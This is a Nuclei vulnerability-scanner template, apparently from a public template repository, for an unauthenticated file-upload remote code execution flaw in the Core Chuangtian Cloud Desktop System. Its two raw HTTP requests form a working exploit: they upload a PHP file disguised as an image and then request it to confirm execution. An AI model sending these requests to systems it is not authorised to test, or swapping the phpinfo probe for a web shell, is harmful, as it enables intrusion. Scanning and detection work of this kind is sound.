nuclei-templates/vulnerabilities/other/core-chuangtian-cloud-rce.yaml

46 lines
1.3 KiB
YAML
Raw Normal View History

2021-04-13 06:53:27 +00:00
id: core-chuangtian-cloud-rce
info:
name: Core Chuangtian Cloud Desktop System - Remote Code Execution
2021-04-13 06:53:27 +00:00
author: pikpikcu
severity: critical
description: Core Chuangtian Cloud Desktop System is susceptible to remote code execution vulnerabilities.
reference:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
2022-09-01 10:51:29 +00:00
tags: rce,fileupload,intrusive
2021-04-13 06:53:27 +00:00
requests:
- raw:
- |
POST /Upload/upload_file.php?l=test HTTP/1.1
Host: {{Hostname}}
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/avif
<?php phpinfo(); ?>
------WebKitFormBoundaryfcKRltGv--
- |
GET /Upload/test/test.php HTTP/1.1
Host: {{Hostname}}
2021-04-13 20:23:24 +00:00
req-condition: true
2021-04-13 06:53:27 +00:00
matchers:
2021-04-13 20:23:24 +00:00
- type: dsl
dsl:
- 'contains(body_2, "PHP Version")'
- 'status_code_2 == 200'
condition: and
# Enhanced by mp on 2022/06/01